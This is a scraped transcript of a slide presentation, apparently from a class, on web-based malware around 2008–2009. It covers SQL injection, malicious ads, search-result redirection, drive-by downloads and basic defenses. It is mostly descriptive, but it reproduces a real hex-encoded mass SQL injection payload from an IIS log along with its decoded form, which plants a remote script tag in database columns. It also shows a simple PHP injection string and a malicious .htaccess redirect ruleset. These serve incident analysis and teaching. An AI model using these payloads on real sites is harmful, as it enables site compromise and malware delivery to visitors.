31
Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Embed Size (px)

Citation preview

Page 1: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Web-Based Malware Menace Spreading Fast

Garry BennettMarcelo BergerKelley GamberaElsa MadrigalDavid PessisChuck RothFred Salchli

Presented By:

Page 2: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Malware Behavior is Changing

Malware no longer exclusive to malicious sites Malware making its way to end user machine with no

user interaction required Malware establishing presence on end user machine There has been explosive growth in new malicious code

signatures

Table 1. New malicious code signaturesSource: Symantec Corporation

Page 3: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Interesting Trends Malware are targeting mainstream sites

In 2008, Economist.com and MLB.com were both hit Malware authors used DoubleClicks ad-serving

software Unsuspecting users clicked on what looked to be

legitimate ads, but were actually clicking on a Trojan which installed itself on the user’s hard drive to collect personal information

Malware authors are now looking for a bigger audience Mainstream sites provide this base Users who go to these sites are less likely to be

concerned about being the victim of malware attack This is an increasing problem since the notion of

being safe if one visits good sites no longer holds true

Web servers have evolved into complex code No longer a static page Third-party hosted material Network layer communication and exposed weakness

Page 4: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Attack Techniques

SQL injection Malicious advertisements Search engine result redirection Attacks on backend virtual hosting companies Vulnerabilities in Web server or forum hosting

software Cross-site scripting (XSS) attacks

Page 5: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Attacks Not Mentioned in Paper Sniffing & Interception (HTTP vs. HTTPS) DNS Server Vulnerability Exploits

Allow malicious sites to be served Authenticity Attacks

Page 6: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

More Popular Attack Techniques: SQL Injection

Large, high-traffic sites have databases running in background

Read/write user interaction Security must extend to databases and data How it works:

Identifies input form vulnerabilities Hacker inserts additional SQL instructions Hacker can then navigate database and add mal

content Hidden links E.g. Trojan.Asprox

Page 7: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

7

SQL Injection : Attack at Duo!Longstanding ClientClient merged with another company that

had an existing e-commerce applicationWe hesitantly agreed to integrate and host

the e-commerce applicationCode review and testing indicated security

problems Client pushed back on risk assessment and claimed

e-commerce site would be retired in very near future

Two years later ...

7

Page 8: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

8

SQL Injection First Order Attack

Attacker gains access to the database and can perform DML and/or DDL commands

Second Order Attack Attacker inserts data into the database

Our attacker did both Client called to report strange links appearing

within the product pages of their site

8

Page 9: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

9

SQL Injection: Raw IIS Log2008-04-12 17:59:39 W3SVC658304687 WEB14A POST /productcart/pc/viewCat_P.asp idCategory=57;DECLARE @S NVARCHAR(4000);SET @S=

CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006100730070006400650072002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);-- 80 - 125.65.77.25 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - www.clientname.com 200 0 0 471 2377 2562

9

Page 10: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

10

SQL Injection: 1st Order Attack

POST /productcart/pc/viewCat_P.asp idCategory=57;

DECLARE @S NVARCHAR(4000);SET @S= “

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name

from sysobjects a,syscolumns b

where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)”

AS NVARCHAR(4000));EXEC(@S);

10

Page 11: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

11

SQL Injection: 2nd Order AttackOPEN Table_Cursor

FETCH NEXT FROM Table_Cursor

INTO @T,@C WHILE(@@FETCH_STATUS=0)

BEGIN exec('update ['+@T+']

set ['+@C+']=

rtrim(convert(varchar,['+@C+']))+

''<script src=http://www.axxxr.com/1.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

11

Page 12: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

12

SQL Injection: Remediation We immediately shut down the application We built a scrubber which scanned database

tables for signature and removed malicious calls

E commerce site was disintegrated from main site

Unhappy client; Unhappy service provider

12

Page 13: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Malware delivered via what appears to be real ad Issues:

Not all advertisers validate the ads hosted on legitimate sites

The nature of advertising/online publishing mechanisms dynamic and automated, thus difficult to trace

Authored using JavaScript Functions can be easily misused to silently redirect user

to malicious page regardless if hosting site remains clean

Ads are hard to detect because they quickly rotate Rotate based on search parameters and/or end-user

geography Web site and ad publishers are unaware that ads

contain malware

More Popular Attack Techniques: Malicious Ads

Page 14: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

How Malicious ads work: Pop up over a web site and redirect user to

web page filled with malicious software Entices user to click a link, which results in

loading of malicious web site Auto-redirects often utilize Flash technology

whereas click-throughs use JavaScript or ActiveX to create pop up with clickable options

More Popular Attack Techniques: Malicious Ads

http://www.smartcomputing.com/editorial/article.asp?article=articles%2F2008%2Fs1905%2F25s05%2F25s05.asp

Additional Source: Smart Computing, “How to Get Rid of Malicious Ads,” May 2008

Page 15: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

More Popular Attack Techniques: Search Engine Result Redirection

Poisoned keywords related to popular searches Metatags in web pages used to perform search engine optimization Example: Easter verse, Easter verse poems, Easter greeting card

verses Re-directs to Malware Sites

Malware is downloaded Misleading Apps are downloaded: anti-virus, windows updates, etc.

Detection Avoidance: Referrer checking: avoid researchers who could be investigating

the referral to the site Modify HTTP Headers to avoid caching of pages

No-store, No-cache

Source: http://cyberinsecure.com/easter-related-search-engine-results-poisoned-redirect-users-to-malicious-applications/

Page 16: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

More Popular Attack Techniques: Backend Virtual Hosting Companies Virtual Hosting Companies provide Web server

hosting services to other companies or individuals Attacking Virtual Hosts providers hackers with

avenue to infect multiple sites associated with hosts

GoDaddy.com DDoS Attack: Hackers knocked down number of cliet Web sites for several hours in 2007

Techniques for compromising legitimate client Web sites:

Exploit applications on host to inject malicious code (HTML – iframes), and host then injects same code into client sites

DNS Spoofing attack using virtual Host name

Page 17: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

How Malware Authors Reach Users

Get on to the user’s computer automatically DNS cache poisoning Drive by download Software vulnerabilities Web attack toolkits Cat and mouse game Obfuscation Dynamically changing URLs and malware Clickjacking

Get on to the user’s computer with help from the user Fake codec Malicious P2P files Mal ads Fake scanner web page Blogs

Page 18: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Drive By Download

User just browses site and executable content is auto-downloaded onto user computer without their knowledge

True Four Years Ago… Browsers are more defensive today Degrees of insecurity according to corporate policies

Some apps only supported by older browser versions No user interaction required “Good” web sites are targeted by attackers to establish user

trust Issue:

OS and browser may have latest patches but multimedia plug-ins and doc viewers are out of date and vulnerable

Attack method: Hidden IFrame causes user browser to silently pull mal content Mal authors are then able to pull OS, browser, etc. vulnerabilities

and eventually pull personal information

Entire attack is invisible to user

Page 19: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Other Automatic Attack Methods

Software vulnerabilities “Bugs” or flaws in applications Attacker can compromise system on which software is

installed Web attack toolkits

Off-the-shelf software written to probe user’s computer and automatically exploit security holes

Obfuscation Encryption of malcode, typically in JavaScript

Dynamically changing URLs and malware Malicious domains which appear to be real ones

associated with search engine statistics Clickjacking

Attacker puts invisible layer on Web page and user unknowingly clicks “fake” buttons, links to malware

Page 20: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Older Detection Techniques No Longer Work

Older, signature-based antivirus-only detection techniques are far less effective

Multimedia, reader, browser, and third-party software vulnerabilities are hard to detect using traditional virus signatures

Traditional antivirus software only knows how to search in files, not network

Attacks are invisible New methods for detection are necessary Security is heavily dependent on user’s habits i.e.

needs to keep up with patches, security updates, etc. Security lockdown is practiced by website owners who

have high stakes in secure web transactions

Page 21: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

User-Assisted Attack Methods

Social engineering People are tricked into performing actions Examples:

Fake codec Software that can decode a binary file and

reconstitute a version of the original audio or video “Tempting” content gives malware authors the

ability to get users to install new codec to reach desired content

Screenshot shows fake codec to install video, but instead it’s malware

Trojan is installed and infects user’s computer Malicious P2P files

Files using celebrity names or popular brand names

Page 22: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

User-Assisted Attack Methods (cont’d)

Examples: Malicious ads

One of the most blatant techniques Direct advertisement of malware to unsuspecting

users (in contrast to using actual product/company names)

E.g. Fake copy of a newly-released game Fake scanner web page

Leverage JavaScript capabilities of a browser Content appears to be legitimate OS alert

notification A “scare tactic” approach to get users to execute

malware Blogs

Bogus links which point to malware

Page 23: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Symantec Top Web Threats 2008

Drive-by downloads Obfuscation Targeting browser plug-ins instead of just browser Misleading apps SQL injection in mainstream sites Unique and targeted malware ‘Polymorphing’ Tools

Page 24: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

New Threats for 2009 and Beyond Bogus services

Legal, financial, car transport “Mule” recruitment sites

Spam Professional-looking sites

Social networking vulnerabilities with Web 2.0** Hacked accounts Cross-Site Scripting (XSS) Cross Site Request Forgery (CSRF) Phishing Information Leakage Injection flaws (Javascript, XML, Xpath, JSON) Information integrity (i.e. wrong entries on wikipedia) Insufficient anti-automation

vulnerable to brute force and CSRF attacks High-visibility news events

Quick distribution of malware Replacement of email attachments with hyperlinks

Twitter CSRF Attack

**Source: Top Web 2.0 Security Threats, Secure Enterprise 2.0 Forum

Page 25: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Methods of Defense Techniques for Counter-Acting Web-based Attacks User-awareness (don’t click on anything funny)

Don’t download apps you don’t trust Keep your OS updated

Use anti-phishing, malware, spam software

No single silver bullet…

Just a bunch of silver bb’s…

Page 26: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

26

Garry’s Slides

Page 27: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

SQL Injection Example

// a good user's name

$name = "timmy";

$query = "SELECT * FROM customers WHERE username = '$name'";

echo "Normal: " . $query . "<br />";

// user input that uses SQL Injection

$name_bad = "' OR 1'";

// our MySQL query builder, however, not a very safe one

$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";

Page 28: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

SQL Injection Example - Cont.

// display what the new query will look like, with injection echo "Injection: " . $query_bad;

Normal: SELECT * FROM customers WHERE username = 'timmy‘

Injection: SELECT * FROM customers WHERE username = '' OR 1''

Page 29: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

Legitimate sites that have been hacked to redirect to various rogue anti-malware “scan” sites

The malicious redirect only occurs when a user arrives at the site via search engine results

Visiting the sites directly (i.e. via a bookmark or manually entering the address) results in no redirect Site owners’ visiting their site directly won’t see any evidence

of the redirect Since many sites receive a majority of their traffic from

search engines, that large majority of users will keep getting redirected to the malicious site

More Popular Attack Techniques: Search Engine Results Redirection

Page 30: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

More Popular Attack Techniques: Search Engine Result Redirection Example

The root cause of many of these hacks is a maliciously modified .htaccess file commonly used on Apache web servers

RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC] ... RewriteRule .* http://badsite-omitted/ [R=301,L]

In some cases it’s replaced completely, in other cases the bad rules are added to the existing contents.

Page 31: Web-Based Malware Menace Spreading Fast Garry Bennett Marcelo Berger Kelley Gambera Elsa Madrigal David Pessis Chuck Roth Fred Salchli Presented By:

More Popular Attack Techniques: Malicious Ads Example